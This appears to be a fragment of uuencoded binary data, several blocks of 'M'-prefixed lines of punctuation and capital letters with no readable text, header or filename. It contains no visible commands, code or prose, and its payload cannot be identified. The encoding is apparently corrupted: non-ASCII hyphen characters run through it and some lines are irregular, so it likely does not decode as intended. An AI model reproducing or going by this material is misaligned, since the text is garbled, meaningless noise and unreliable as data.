M<T<WG+`R;Y&Y'S+>+C9*D+9GF(F<`*AY$PE:2NJ4U$34$Q`,6]"K]Z4]/‑`2 MX!2(#X@$"/BV`U&"J*2OR‑139$`![2;3I"3WEW[L4BX[A0O\7>T]>)3BYU^A M.S7E*O37ZNZ%F>=&]M2:=CP$;1"8\Q2#U%W]U%="^?[K7$?VJ>7/T^W/%4N= M&%7.K#7A9:3XXEVNUQ?G/)3#YSLG0:S*X7LF42;>E:XH<>L=5O01\#!![TE\ M=3J;M?(G7?BBBIS?V3L5[*,!A22?:@SLLV"X1T‑+8L0JYF/<R%6OX+IQJX+[ MZY:‑0V#N=8OZ.&PQ4Q9B7^TP<Y&G8$]]M119FQH`5$X71>E$‑?:^JV1LBU3" MJBKJA2A_'GM<UK^^S7[AE9+LFNE:1:DJ86CE1X]Y^+TY>OG9[.E24RHQZ/J? M8E)<6KZQGT=O2?U0Z%S43__67>R5]]VNO2&0B`]G!\"H2_*)C@^0VDO_G^#' M6W&C=`FCY01!\4087FF=<HH0CO(/`XL=L`(@;V#1H5Q1I)1Y(=4A#HH#2GO; MY?VE9_>(8W:30B?^#W>\U?QMN>‑‑S0QA!"_`J3‑M!C[8JDY/=6)):KZP2'^` M(4$S$IK<MFP4R#ZTVJ935C.!FM!H/KOIGUO]OV?YO]%P!T&O?]\13AH^3DCZ M_\O6UI`Z2@:_3;/.BYM9T8^6.G_\D8IUJOO2%1@R95ZF0X#ZU1%C+"(^S2_J M6O1[_PE_%MBT6V[GD:;S!O8WU4PY9UM0(!"%T2R3!C%@#`>E$>?)]78:?OAK M#<EY,:[O>.,S'7^?TC2Q]RYQ>7L^MS\K*Q_L‑R_C!=J'VSN=8S>>JYU?@ZA_ M9ZUU2OC_[XG]>P![3LS‑SB\G)NH^T[>>\#Q_N&;O[WB‑CIAYAW.X3:0C=!1L MDL8+#+Z@$P[JV^,H\ZNY[9OWI\'.W<+W6.,<CJSF)]#7,'0'#%_+@&W,+&N] MRE7P_=IW"AE:_*1CY')*&S22<2OW8GKC1=]R6)W*!8;/@RUT;XE8^PS\‑O?. MV0O)(;9JC"T+!]2:^UO)‑+KRIC']K=M3?[9*F<?W:6Z;B8>)/3`1OVXJ_E]K M.15&;)E0@TE^.STC#‑VL_A+^0PL2""A.:R*8YA31ZG,,TFA"2=';]'P_YP?P M?TNH[;WL<4F$E56:5@]HU'?9%(2PF^DNC^BXZ1B2.[_[;DRLT+DH`8Y:*(1F M'+Q(X)?^#GI0N.[X..5UF4!'#,&\'&9@(:@`LN)6SLF,94";!AT‑Y‑S]L/VQ M#)]:4:QN6=QTKW\(01Q‑_]‑.$'N!LS@BM08Z1EBOW'Y3HK**E)OROMRJS^N( M%7&Q^O%(WT?>QH5$0G_L<0[G2RV>VI40=ZKN/?H^81=$'($1:V+1*I@1(QL3 MN3O_4\T5EXTZ3^>P]?I=/05K[]WQ$V"]T0IW:]RHX[75I2">+L%"]%4Y9A;) M385`*]MTQ4"!=',$GK<LI^?E6T5,!/`Z.B9BN/E)8U_;+O48‑$Z"+O&<OX67 M(0LU,R*(Z])T],JZ_C)9B''<3(&EA%GN7Q3?:5AZ!F;WY5U.";AW'\;J:,7( M//DW9(JY=‑J_1>]@.O\LYV'&U4C6W,6/!L7+56*X%1M_@ACH(RF"QGV6+'<9

M/+#RCS6WHWL@5<`O\$K^14.M?%IL\G5\&Y?*WI"C_#Z@?'V6W!<(0$K[R.B& M`\6]S(@<7XY%V$'E+X..<:"A@L@M"IRNW<‑MVIB)()FT^2UE:%%ORG8*7XG6 M]7\;L0[[+W‑<O0@IQD7H;&.5'6[/^OZW5_M>)Y=>'[KR[_WG/+TI9[]`]@.B M^K4N^3Z_ZTJM"8@!00=Q$YC_Q=YF"=JL?V^J;LDY]!AT08X#H/(MLH22'=N* MZO,'SW:CS*ZNWH‑^K(BJ"'0N!HQV:M[`IJJ>N9>"V)]Y9C*OSSKSI"]D60RL M,E6!E^JA_IX)8M=6*)I`]/J3)D*J7963A^SI$$6FG9L^UO5587\A5<><Q5&# MS4,"L;LM%9UV*L!T,'L2@A])!=^DQ<P=M/%YZ4C%PY(@(9()W<\_B[GV4?,> M%QB`Y3?4.1,IL("X69V86Y+_"&[2L^MO4?C=G&OI6<Z"NQ@F+12#F)&+_,,4 MB,#^$]*5D$@13_K?'O;3\$Z"ASF.MSS"@@+]N1:U47$@X#Q]JS0+HCRDNQF^ M^PQ?62ET7$1BY(K28;H^"44$`$=YX8]>72NR6WFV[:2A‑G!?>F\ZK]5&@_K2 M1Z2CZJ<5O@5?1:B)*U*QHG]'6R6'?RM7\%X]Y;S87Y$[N3W(\^OPA]=LJ..! M2_&VYLSWZ].7+GQIPK`?[@QWO`P//[>8Y1Q#)*B'SMDED)YLU=?6]6NM*!CR

MMB.I"H5PEG;G:&Z/C(XUTBBO_>+SOE]?R?4(,D_0I*V<8$=_`8I8YU&G'(JG M50?'$3(HD3F;PM>!<OD4BR6KE1_/9WE$`D26+BK0!(\ETD7%)9!^PZ[UIH>Z MN39[DTD..6_$$>+%][1$ZN0G7#V=T*YD39J91VQZ<'O#:+<:3^2‑F])'))BQ M5@*5‑H4ZD8@NI*X:/<<OOY?/1757N>AS;^]L_9$JOBEFKQS.WX]X4^01G\VJ MW,*_P5RZ:XE?E="UAZID[V.J?N7+‑5EUZ<GN?5)[O<'6@C];[.A[3O\B*TTO M$.MVFYHI.FCC*LEJ5!%\)"FG)X9U$=CVTF.C*CCW46M3‑\9S3,4)$)[>%1XI M6F/,"%DQUE_Y![3<.9UPD*Q<RV+:8CHOBM,$HUK>Q3KJA+S7]$+DGQ<QX/[U M5VT[_>#/4G6Z%%`M]_6=W!(VO>NGUC1ZV#?H/X5L7;]DZJ3O\6D>TB(EL<GW M\#Z_^O"]W'0ZQQ9_$IBZ;N3?‑_?XUI&Y\65PPY%Y;>0["#S@/L*._DE)=?H" M4)`XBZ&2A0YE6)A`MOO6_)"#`V*L6FI9,_WY*;$"_P0]ENN^*:70WO'15!VJ MC&%"+E?]%87?,_2IFQ4K6^UV>/XL._X0A%Y<0PO.X)H8X0FFFG3F‑‑.._IOP M_>?P_L=JH_<_A\T_?U7R7/Z7[?1'R]+[OJ)]55J4#VD&U^"V\L+Z3N+^V?S! M%CH1J‑‑#08:[/3V?%,8=O=OWOX,9?X‑_N=[EQ^[+W]",==.;3CUR#2‑I9A./ M*!@(G]@D"4T"D!9)?T32@UX^X+H"8!K9#7^‑W4OOQP>@MRNY_NV*A=3J]?^M M_O8E1#_#0>$\7.MZHT6]7O^[X61GT5.V:CT;]%A:OT:B3I4<"?*L‑"R,Q]R] M*$YP)2^‑WM9@O.\TXF4C?%/#OS#:L7?$4P*2F&5*^4EO(TU'YNBW[;A)I8(M M3:C'WC%Q6+&SLVKD'?GTS4S=6A‑4,9DIYR!8\_MF\QFBX:GCNN`6=Y1(GQWA MNJHO48I/EX?!*SVO\6UY4/6JV98M>‑=/Y$72W7XVZFH‑%‑\O[6LU/^$^4B3: M1?66^XMF‑691U_R"AR^\UIF+5LRN"2*IRS*S6,M[]%"\W&S*H4&1QES$6"J! M#.1ELO3‑"+YM'H%KXOZWZ4M`491[?CD:N7&AWT[QTV1'I^T/HMRHYO3<V\U< MM^'ZX7]^QSV=&ZVW#KT;'\R/%F^7)<Q'D;2CLF8JA51LQ#JJ2N=/DB:888Z" M!(T]/O'5GE`<R8U"@1.M`\*$13@>"AB2Z(RCAHEC:K]SL,<R*N*L7Z97#);Q MYMKQ)8IZ):XTO#AP;FW%>F@0CI["5E‑>O8Q$5FT8@9EH*56N0*:2R8::6HK7 MBH@>O<X#K2HP/5Q4C/W!/I#[7FGF!O9^YK=&.X.54ULZ`GNGP6:VX*`_94_6 M:+*]:G‑148!F`9C#$,<9,6!.03#:GH&805O[$94FSSB)[S.0D^/V1H)B.7'H M(OW>6/*[YKINB%;KP?<W]87L<6,.VO7B4=#%?!RY)ZJ]/+?)*0`&WFIIMB',

M1530C(L!T?@M]D"426@C3?M6_2^J‑GUV‑Y?>[7FPP"#$S``"@QU;L30(*9/. MIIQA/P\42ZS=)U_"=[UKU#)8#FR&84R‑S8M6*>E."N9M#5"4,#T,4\'E]'U6 M?V_Z^MMD`N%`$0^O81/3)BE/O&=CS6<<0E]_QZ#0‑^':NASIDWT(.P\KO1/S M[:*NUW+UT[*L?45+Z.O_VAW$[S8U@<H[`D[E\YSL_66XRV+W/Z+7,/O<40GY M3+\/\M?O'L_FI^6FGB<_R^&KB[FVE501@I^>T@2!9,W^<.,VMQL8)_)SK^L_ M_>+DX<7+C9R`V\0*OHO]*?0O[Q_7X'H7(H2*C,;72+1+@AKE*C:[Q4[H#^7+ MC)>TCME$+RNMU5[#ZG&F;@H_QG4A`B'5Z#`\E/*<&<'_MU>.F&[MZ^[<."(G

MRJ.]45J.Z1[&:[VM5QJ,!P#R:5!KB:0NNQFNAB.^&&]R$4;A_#)N)#Q?),:> M_:8`@J:)0(2=<%E3V!.J7N'=\W!0S)8S4%!)R[‑B;)'AN\>^Z;2=Q[7#34'' MB?R_AZ@U9:OA9)J‑S$05XBH+B96AF3*FL*4&VK3&@3U9UEOULD(I7^:Y+U.N M?A7U^CNN_VBX?I_KL6HWD=4MY>X79WV\.J,(5*7EEI,I\^U:M`S;T^"K6TBM`T;#N86$3ZR,IM*)>7K(WU#,2OL7F8PW#72VCBVF‑FBCB.1\$X;1I@N]HY7( M+.3$‑BO<Z^M@‑_`=P:W@;2L#@IZ#VK+KJ!UJA;PCQ+*<&":O1‑KZ.ND<F65\ M"G`G""DAH;NJ#^C_3'=0?RNZ8'3EZF^@RQA+=P3F@,>F:>%:5QUQ#_‑_3;I, MT@FB<3U/ZQ8?YCIDFD0,.FS^<+:^]:B<U$/0KCKY#;8>R9M`?=%1‑%0W:(/Q MFQZ5C=(M,>U*_.9/$*$(F/B.!QW#'DSPZ*448@8LB$,OW=7/+!C_6E"+EI"* M!0D$!TD=/1N405``\;($Y0&7`Z#.1$"8_:,T)/*FBOXYP.T3D$3$.*@9[V20

M10X,0=8LU.JN??^?X9(Y@SA=K:_.8,4R2CROMR'6[BSY$N5\B>@4M>$XG5BG MHK$&+)JUYAV0="‑GERNTQ&O:.M53P8,1CH?]1&S‑/SQ0‑*ARR>4OE/G3/&0G M[^`)‑5.8:3%S:]KK2%Y8CJ=F1[GE^0;VC<;=9ATSTQELF_2V+KH'S2OMKXY' M:^^7[37%1‑SGH(J+DRUL#.K((S7>1G+K31)RV>1SF!T>=\_][E?A5H##4/]_ MN_.:)N6UO$>39&7["<4F>T7H=9]!%VYGQ6<NE]>&&K*I%3Y<[*9HV$RNM/A& MA40G@A(+.:O*K]_#[%R>SGNV,A.?I5\:GO/M'K59<SXFV$J<CL(D"(MXEPSE MF29T[^;+WF5M:+[)&;<9N9B;7K&6U\_6MY'?]ZAPWQ_Y[:#(;':[K`0HM%[, M>ORUI‑!QU0O\LC4O5920?<!OP_8:Y;OQ@?GK^!$CO>1S(6‑*^\\AH_$K;,FH MZ4"5"5^!(AZ^>NN.O;\%B<*F7OH;U%,Z>I]_$;,<+WC56.QRWM`D$=\_DF9; MEVHF&8<W!P$#L!MQ^\S8J#@H8%0PSRUL&9&IO]^P@_7N4PKENC31,M#[8VNS M0.Z"8L:UD1_S??'?`<2E4`,V0ZA=*F,[($N>5;5]#G6:?4_,_7>C^W_6?M=( MY2>0\#1"'%U^E_A3+J21::\UK?A_WFR"#VZWQ‑.[V/'A@0=Q69.[Z3QU@K0] MT7T(^O?_A>@Y3JA3=4[E&:ZG6B15E^0K3=7@=1:P3G)VRAD#N9\&=YIB3;`C MNFM‑Z+,*$24!B1B8R1$F&$&B`9(P$/A^Q"]#C?)V+YFL5F_OT]%Y/<@9E[U\ M8GB‑!T9XZGT^9U.*9FY1W6‑=>OYKW‑],3<@(B6A[3‑'::QF4KK#NEGW@@2^\ M305W$JVJ>+NFSR[8__7;RY)A8KD=SN:RRZ["WIW9/9[GP[S"G][]VV3W[F@< M8:*_)I'ZN)>?L[;‑.FI*XXQ_/XNK\2N76O[G#A?FMF2^[+LMU@[(ZJG^"Y,$ MZG7CR#8U#!1:#5]U(?L[.6>MSO;‑;\‑OUYI‑2.ZK09$AKO9OZPD]BT^]5FXH M7Z96:/"5^!&ZS$)9K>36`;QWH'*Z1`7##K^LL^:/&7‑/B.F$)NZ=5)D3BLD' M!:L&[?,F!?8<X,"'@/.<3WH8RZ=H!+@U$V6;U",!EO*DIP;@]WNA0V8?>Y:O MG=4]"*HFT5Y#F$C]9$>YM]ZPHBN3)^MXC@GBD%3H'JY[>??'I+/*T>F6K8@>

MG.K:Z+F042YOU^G49X\6H^*:(!G_/'FN+D+''L&':;P8;WZ_,27C`'70:Z[M:LVCC$@GZ[#O@^CJ‑)742647G_88"2#,E4:[7$R*B5+\"G(3=TY_[%<4!3?D MJFJ?/\75:I"!‑;6#M7U3YJL.CE'`X8V\LV4C(AMAE.8US"‑#(,""%XD3"G'" MFDDDM`B,_,_6Q`!_AL?\::,MOQ0"_LR$Q!^Z9‑@77P%WQ8J*>$\AZE0_:$#: M"_E=U>IN<U50_11+Q.M$=63Q[Z\+ME^C‑%,N4$FFE[F#+RJ<1T‑(#8IH&G,7 M"U=!];&#L'RJ1![CJ‑\KS5I<P"?C8K>'L]GA*FL>&M]_;P=!C5X4U+\(\1(` M(:QW$)=#0JT,X6:B1^^G_9‑G(\?=Q7(^.J>:_`U=5BN?52VW9F,*$:,,E>9U MZA]Y>LC_NL/!.+P+Y2]/W%MFW%\3SMY'F(S443]GT5Q"$>A#[P&^>TU@)I_' M6>B@=0ZHTD8,KT=/(V#)N$O>PS.+C#['_KD#&2X&VGCOKTI,RZ4YJ!PC0!A@ MJ((A/O&F2G$PT:;7O/K[,UKIR‑\:KW&I$$\@YZE=$'S%P=EOB:=KQW\E>`1X M6`CV3_>GJSA_R‑>4]8X`J/(>PQ;[]"`?&1]W<(T[IZ&‑&/UC0N42‑^?\B/(0 M^3KEW_E3GQQS`VL!IXA9`^$17"/65V(!%D(!M[*]WB_K^'&W+]H]!IA3KF'] MT.NQW/+CZ3W.?F>SX[ZO,/F[&4=6"(T<R#6L<CAB)$1<9;XD.&8RD$J7&H@O M6\A=K2??\6C3U3?*F/P:;M%OXF)8F58%_K%`Q&)T;6FUZ33,^"3WSR(<2O0/ M$&"$$1#C%#)9ZJT8G\^,5ZR$WM1X9\‑7IH3PBO!7&6:B%XER'B(*+=SL1!)K MYXR'I:E'S>ZTSLK''JSK2*$<3;&$PUVH8@P^>&‑9FLK*ME7="_K]:U(A%#X+ MX"R/(I'D&<YLX/R_H^E3YL%WMX6OO+=WL‑YG<L;I.K.$8$R'5>6G7_*7"‑[" M2PB(.A,$DH‑!O$B?NM(?8"XY&#T''Q^E‑^/$\_3P[/A3RZ."_>/S5<MU>\$< M‑J,O$FH‑UN&%CAU[RLSNB]AF(DH7E#\K0QA5B&;Q>N[7%TG1WV%=X>OS?%?Y MF.‑P2Q;1`&+&‑(800?^N:P/TMF=/D!4?L/'5"KPL!OW‑#J&7TS:&,DJJB&/N MN]I(N‑"XA=&2,)BF/[J</^X1[&SBRI[K??,TT!`?=W4Q52+H8=CSPZ]@;+K@ M`H>7X*A^6.56:'YSXO9[$X&@0D?3\?GDC$+QY,L5‑‑:.ZF_WHT&D0\/^X6I` MQ'4?=(8S9B\RCOR!?F`OJZ?%7D7MC])E0<)IH>K*59ZHN+'?:<R3T.I3E:1& M)+N[&2UYO‑$8WC1QR%PVYJN‑7YE%`..O$!&.S>GAG4,JESRX,.WHSOIXKD_E MX\++3:F0"`ND>20#D#'$0`+:8&Q,"O,J_'NL`,5A\J:[I1:/;Q_SZ&TX@X_X M!X@).%]+*&:+%58*%Y?4GXDL@#B`$`4*3>W:+.X>9JVD=>L+J/WC<^6U\INZ MUQ41O#A%+&LIH`7^JBH*)EU‑EV&3VY‑KN%*RXOZU)8EO;.7U$R‑B8#_=)%## MC]7D._)7_1]K*1<\"JPR<3RIZY(;6YF[M#7)V@HPYHG)>2H3$?%EJGWL..0@ MP4UD5SMM<G.]XE9`&+O'ZMHSN,0H4U(FSL^%);_/C3RZ9?H$26W9/(:YH524 MLER;SW.F1819Z*GZM_M(WG<'4ZR=:1V5O]&KU>&:GFUD!S*;[1PM45)L[.H5 MR<&C_C7/:W&=]A:6D1M.\/Q=ENFB9N95<DY+SO‑>"97K?ZU<‑O[Z<NB!L+!0 M`Q]1=8"?=W>;PCHG]G\_KKO*\SD8CECP,B>O1V1(@,Y@$F<\M'K#/GSNL?[M MOO1?A@1?C6;YM?F+[(^C^^3$D@%?4Y$U_Q_B[?O‑ORM^XD.M@5B*[KZ&75EH M_Q["KO.=B&NEH.UC]PYL0"_AKH8JFXNE?A$I.)MADL%3RL4XPSO<9DRE>5<, MSD'\^;DLB'*7F=MI]JMXJ,P;S/W[&43‑D""1*"^6JY@+@^K]?@Q6F3QB‑E>' M?H8G96^3Q3=43A6X^=.+()&C3NE@]3*IAIIYIA*0BS424!&@O%A>G7Y\‑D0' MQ>AXDS#;KN@&O((`@,WHN#B<*T!OV/[M_P/B_%31KP[VCX#W*5E]!/IN?IXC M0K;^%B^$AQ:</‑^N\SQ=COZ/?G>"Q%Q6(89J*!9U?IO'Y_J:K]ZKBQJ:(Q_X M%+TT^)M/(__;>LJR^)F‑6'[!<Q^@"DSI"VXS9CHC62[,8>[%8NAIC&DBQ_QD M)6>L:NOL8M(/$527C3AP%7/WJKLU(!Y_[;\!%`62(B___9#NB#%06VR.UF!V M%GK)6BK.&5U_T)VNUW.OJ^MT‑]K%MEJ#‑SZ%_>=YZ/‑8A;'9:'V>X^P:&"@Y MK"CN+"+MH>_?YS,N(RWG;B;M/!JY_^?I[)FZR4[/,1:]CGKR`:8NT%.9&I2L MU%V,VFTQ^'<Z&Q\;<'.,YFS9O=Q>I.?(1!1U]05PYY8]OM>('855JA?\WC5F M>+2[Q5?;T9N<?@Z^WRW‑S:=OBX!>!M8Y>/+I9W]A3$L<V?XV0VZ$T0_C)(V> MS15A_LQO%\7MX‑'POB^G[S‑A<;H,>O^646@#*^2RJR?KS(R%^X**FC*LG>Y5 M9FIJ':+*OY7>1?S_Z$8,Z+VT:QQ6[6‑%<J‑3:S+Z/?ZR/9)[F(N[PQV7+SHP M9O0+M96O(!HFU%)%O)Y1OO^\:>6R2&`G&RH%LQ[2"K3E+129B:^5CEBH`41+ ME%@>8*Q"XI[%C%(('O:RO5T])"@6?.(O>D[3^X2OP)1&WN#!M+7WYT1S^W‑' M9^:L/U]'Z6TC2D8*S1E+@O$"R,/(.?,(!%A?DD&358?/+92[S1X)MZ>'5?3U M9\5'QL9??B4R=PQ@^`4?[_[S/7#ATC?"#_QJZ?3M*6]:;@D,@#<!$MMT.(V3 M%B.?=SB,;7+_"J0P0W>NX@_PD<&YFT7TSMS(0?T5S';0;<?VX/AUJ`0X#TR^ MUDP)JR8\;#4,P":U3:^U5Y4@JS'!;9LBCI5&8?‑O=X'!?&(9R/X#0*XN0KB! MCB(LQQ#$=9/]%/'Q%N1T.'H?L‑J^M4M4?`64N;I<7IF+7S^Z!V*O9H;83TKQ M\A,K=+L!3QHC:P7TBX<R^$(4,F8"M_A2W'UC9_DPNY?,7'<N%X]3ON.6OTF+ MTVV=;S[<H&:FGX#CUN.>6W?&^'8U*%P3*"\I5?Y/:V321@I8;‑GD$1_K0B*_ M"LP]U<E'E,<BTN[K*E4>#'XD7KCG‑WQK‑`2@TN2,[EU%OOY,'^)!UZ6A3ZVO MT.^_67X+S\']#YCP;M;H7"FU3VFQEH‑+C)C#&(N1?!CY["E=!Y‑[0Z7]"W+' M1B6;`RO1]S7%;DJU'3O):$:WEX5XHF\?P>I=P)'=U*!FA)K9CIXO;W?BQR>8 M_+LW[X*T<UW?\;&K:CR=M.7>&AVV‑1X0WM.9GY0JFF8PQQ`T'B:X#[N]=6>@ MBOE‑&>8Y'=@S$<I\J]X?*#Q!<%W'W_1_;UUF%3‑>NGE>Y\?W<?3YU]<<F("' M9$BS8YRX01@\2;10,"4P:&C‑$N=)E$[V&&ED0<@B8S]TM_/GD??ZM*>MYGF@ M^O)?Y<?1:&(['@RO@JA?3";T_;'=WB2F#Y[J`UI>$@:""0(0$8A,3_\4704W ME'TX0AKTJ=^F0[LV‑Z+/1>,AV[R=1Y9B!WR)92(/EVPQ'8"?!G_0]WYXX1P\ MOBK4M?LI8<U#NV0U!Y+:!S;R4]D2Y2$H0*H4E5NVV>'V!'13<)O%T<D(]`=2 ME9A<.WUKXD^H]FI#%#=&RLCD3M5+="O`@L</:P+V^`N_X.YZ%NG.B'GG<J;L M#!KA+,M3EQ+7GXSC+&B&_QL\5[_T+OEAO6;_+0^UAI?=R:+64^$*YV?\,,T` MCWDA2VI['(S?%:20M!=9*KTAMC=:IDWIGIZFUU/#D$[VT\"8FZ*,3F9_.>^> MRN?85Z7F<FDPGAXI'J)FOZ3N^DS3Y#L0N9OH!"E‑:%\+A;Z3O%YM[]EADUI: MU*",%PBX1:O)‑'FS]I%[@9Z;9*?F;H*,JLI=`8"$+%'V]8D>3*HIN!`OE9I^ MG%]*B0H%1%/DQX>S%+4(%#0[4=<:<W8BDEIDT(S4"E3HVF1"]#RG>U/BK)HH M.=/DX)7("_+:8($6ED$‑/#@:=CP&;LNQT+V,‑V.<5M_A[T,@/Z,V4,IM?/GMO:7J]‑^T1R<N0#^0T^&6&F2E6D\6!]I!2>"(,CG_").3=0=`"N_7[:;U\%7, M(\#KL!.:6PAXZ%"G;J`0@,W?.@5R:\J8A3?(OR9M4?J;((4V=!1P/.881!)9 M"&P3CY.S1%IY'5I‑[7]+&;^‑V*/A?>7)F<.D%B..G4Y089!\C#;S!W^D[H&T

MIDJ]KCN[O+''4,C'@N52FH9V;[351,>8.7M79L6R65I?Q@Z[&S],S84V'""Q M*CB?/6`I<Z[1DGGSNH‑3H'./6Q'EQS5XDH‑E)T.**8SLV?‑9B69G1*".C$N( MSUDNL*B/G*%M4Q#/RCT#!IX)WYI2Y%Y026N?*=0WX')Q:ZB_=3Y6K2JF1T*8 MO>UE9W9KV_QJCK:;MX^FEQ)GF<])%W5M,%`H<%HF+MK(:W%!3K`AEJFH3CL: MEN/Z*FZHVB[2LS([FPAA:>M]L?.7+$[_XN_L[:#H1Y#K=NZ^*^F4]‑3?>]=+ M`Y9VO;2U??UO\6G]\3\,[];VPOQ,@,"M;>#]_A;5MY;‑M9?W\Q#7<3`E5DS% M]CRP*J3C!#"0B2+GF$B`P?(.*!V53`N;S`]SFIM&K\‑_4C\=O;!B7$?@WJA( MLZ,L<8D)^"D^YOB[1K_&H4OE:ZUJH3,Y‑=A^(ZT/\2AH/Q<ZEO9_08?(:76E M\N_0M3;?6L(Z_‑RST"[?_.FM(1ONP=/.8@:9DAE_MC!\<\):U(_I(RD;_C:\ M2I?!<DX(4[(`*MFPDBNX‑7%3_H+RG)'G$\IA9K7:'Q0%K6'#8#W20%^4=Q6\ MWY$XZ%]K%C+^0COT86O2:ZK3':]%,<?\'\TV‑G5FSR3FZR7S0T/U=M+PK6Q( M(T`*!N0OF<U+0XEH([FFM(Y&K`:FJP[GR?W/_9^[+*XL^4[N)4W%[S#I^(^9 M"UZ"LFE2"G0=2\SW.Z@2>\>HZ.Z&_X;*6`N8T\%51NM959DRR7C1J.=X[]:L MND$;G#1_DI?HD`AM!G"@4/U91,&^MQYJ$RT#P;>#PS39I,JM7.]%8M5*)L#` M!RB*"QDW;"N;Q%\^YMB\L"VY,!\B6680Y+RY*)(9'(3QG2^P<:TO<.DH5('G M8&AMJTJ+\$B*01#;"U.F<0]#*_@>?\YW*C_RZ?OP/T`D<=D9FZDN\AMLW3\W M`WG\ZO='(M=<5B),7GN‑'Y2F;PNAL.SUV"_3]+‑IW2="_>.KPT_#WFEK4>E? MNPOT&(TAI>D>MG&G7X+3]2XX.">]""SQ%*VG_H;OD#F)3_"[.7)>99ML'`WQ M^(:Q7>7@MLM8]M:7$%8PRW+YMNY.‑‑.8PC\>G8.>Z6X<,08.&R'.>[^,0*/R

M905_0]B?M1<I4&1^GWYD9/>CBSV>^$9!B4.^IEM?WI%9,WPK,9@EXE6W89EU M);EO'/=`Y5)4A9CFIJI&:Q%C&C\I<LM9QZM[#2G<%H‑5,<G.]VS+]KJ[F19* MS;?N$GTS7EV%7Q9H'B6%GV^3MGSTK4",D?+/%$3<R(8I$]?P/RTS"Q\K=,[8 MM_>CZF[^:*S`VEMA<C:^=Y]R\)#NFET/V.‑N2FVENSC3‑XMQ9/1NJ4%Q)OQ6 MI;'S'7/B`#"#$'2?0".LF=M;!ZS=G88Q:$%$WFRHD>D!9>:OP:=I6]9N+;I) MB!!0CJF75@7]DP?ZE#$[/T7>"3/]'YQ9\8<.B4C'\\3';7B‑0C],MZ!D0Q%O MZO6#%;9G$S3A635M"QOGP2[K‑(VJHF$59QA0R4P$)2O2,L8,#E$@V?U!2‑"1 MOV!!1_QW:4`95PH]V8LLV0)USR^>5]$<2‑QWZ;T/<JW'W3T‑P^3E#5H]B‑9MOY\Z'BW%QMZ<18[&=.0^%'J1PF$KP8'3O^=2*B!UI(JH',‑^`:$PVDQWF4(W M:BKGA[2H1.WMF^?1(AP`E&:J@((Z#Y:,E^@\M6?9O^Q_+\:V;EWC#'$BS/F7 MJ\6MM5D"O\S3?\_5TA*E6W&)*H0X8K.\7&KH$‑4/0A;5.NK)'9/&T)(DV)PT M%$!R@+GEFK‑:D""R1AGAF!J1\:H"PUIF_\M^(8%AQ3J*/)2"#D`#3&T0>'1B

M2#5*3]R[3(7:J‑TD5.FN9)4B2"TA"`M5[P?6I:?N%‑J@N2V![*RHT>)20S') MM&!,57=24BC>!$USJ7W\>:O;>PA3#DME+V<HWY9#.,ZJ`M";*M2Z#?!+E,PY M.VSF4N0J6(@,3,+$87‑+PI)R$!B]]Z@C6Y"\>`<KN)W=\.X?F="]FX^QKK>M[2(^EPPP%OZ3T0?&1>5LQEMU:5BW[#7`[OP%2^M#N<JUTA4\"&R`XI!ZI4$+ M5NO?BVXO]^#CS/P=(@'_`J+(K49?@H^U,!F2$O+PNNJZ$KJ]/A[BJG;XWXX\ MNT+WO`UP=%V\5#15!:P0$!\R‑`1JJLW&$0SX7[S4L\&:T/F]UG66B+A]%MK4 M3;R,3WD'O^8OZWFV_DY^*=D]^;\?QWK\T251@JB.MVWT(,C:1=\"(8YU2C%P MP4CHK#329+!J&J3"0(1*0%9'+YO\"O9!X8[_.LS.7NFH1/@_"3J‑W[?'N_;M M7<LLV^#‑"$H0JZ%'M?NW$7(32!MRIBS`N;A8F)S<0+TZU.#%8AT‑R!Q[WM+* MXNL5Y5Q#=#W&0(M?392VLD%V&4&0!:$0RU>C'?\4/V)VO;T0Y02/FV=`1IGL M]S:L`U‑.1M@\C[K&KU>:_""9LQ!RRD<>.:.R9&NNOO)JRAY‑EDN(E\INM*R@ M/W/9LX6X?$R\:‑))N=?;R]KKNXL;T\EVB6J$8$O_N=*5‑.2!.J@BTJ[K<Q+X M4(DN0$4?TS);3."ZA4@S]FOO'OZ;_<;]L0O`>CL^T[C1R''IX=5>K+H3>P=Q MA(]ZWPMSO%^M5PL^87QAZ;[\L<'PGD`‑G95*G2G$J#MV[#SL‑8(\6N7DY^&M MO/X+W%@#?Q5P>C.6'N*(3Z>#.=H?VO@MO,WO<?MFOW=ILB/HNNWQ6Z"L:"@! MBP&=)]V5C%9]V6OK>JO#3S(7[;@XJ]!VTO(V"`@Y^(LW#S1*^LG):4=T2O`: M7$C]HE6]4+=Z@J.WBY==:`I+_66@42O.):$,=)3"(A@?)JYFY2S9<B>?S'DX MY>XV0/V5JCF%K=.5B5:B+`*?=>/5@*=UB*&F),‑I+A2Z5,T‑0C0*UJ`Y)0[V M3%Y<_7AY:%"#<N‑U:N_VJ,M&1(5K4:MW;N*:2R,1C#*1=45=,‑3D7A'^Q‑"% MT>,/.[J:+&HE:73;CZO6'36G!;20M]RCV.C‑1(KM9AR62TD\3+%+Z6"9=P:L MU0TW;Q`E441_=Z...Y&M6PUQ,QO/C9‑?>MV],ON6[‑F0*>13+1/*Z2CI\P1D

MWA1\S‑HO:Z"RO'0U[Y1W`<W36PI(\LT<;L$L+,?+,>_`]E>\XFU+KEVN@4QI M/S2V@;XYCE$7>NG,14!Q/I\C:CZ^!0KIY=C[R)18>G8`R?ZJ(\@/YC2IJ7BY MO6L%G*"5OV&\RB<FSE+<=NS_XS(/H5[=<@UC)T2__%8F[N$$9[DYN5$5S<8Y MD6P)%DF'X<T]M2SLFO=9U[S'<EC,DF,EIX_8'/:E1A+Y=K*%&U?,,7E0]W54 MK(U]#[;$N?YC@?H;2ZH*3K)(0\&5;V,"N';6^;YF"Q\7`W'G7S.4/Y&S0*QD M2F*N‑;]N;KJ_$T2V,OGV5V!S<2J$'*XP#W.+)`D!>+8,S!;[F<A`GDF(<WRS M;5(DQ4/&#F")60$3Y."M#3`Y8>R@>>.5*O_L?FQ>P</F(?V'Z@,+OS(LI,&B M`ZBR_D%&.7!SL(>DGYP1!MLK:RQ)F2_7C'X821E*DG"<!26H\O)?P:GAOR5" M96"`)>U^;R>M‑&3/\\"?G8<H@P0>6W\\MN=DH$/8N^)FPGILX7ZPPL@.9T=E M%*%7[T<$[A1T!(_‑<JZ^2XTN5NL7'_E"TRO;),A"0A>&Q(.PY&W&$;GA""$P MDF&\8$`\RF.7ACR4NP""X?K_?&6V_+.<*:I1‑^$[:L2%J‑JC8V5KKP0%*094 M)(N,@+2W"&#5*U.+X/&D1)=M5QD&`F=<='42L<K)>R5U0]G‑,ZT1C,R+)8>' M<0FDM*KQ')1DTA`S7$"5C*N#LL6&N5HY]P))ZX)PA$>QM*T!6O\CUO:_@9]7 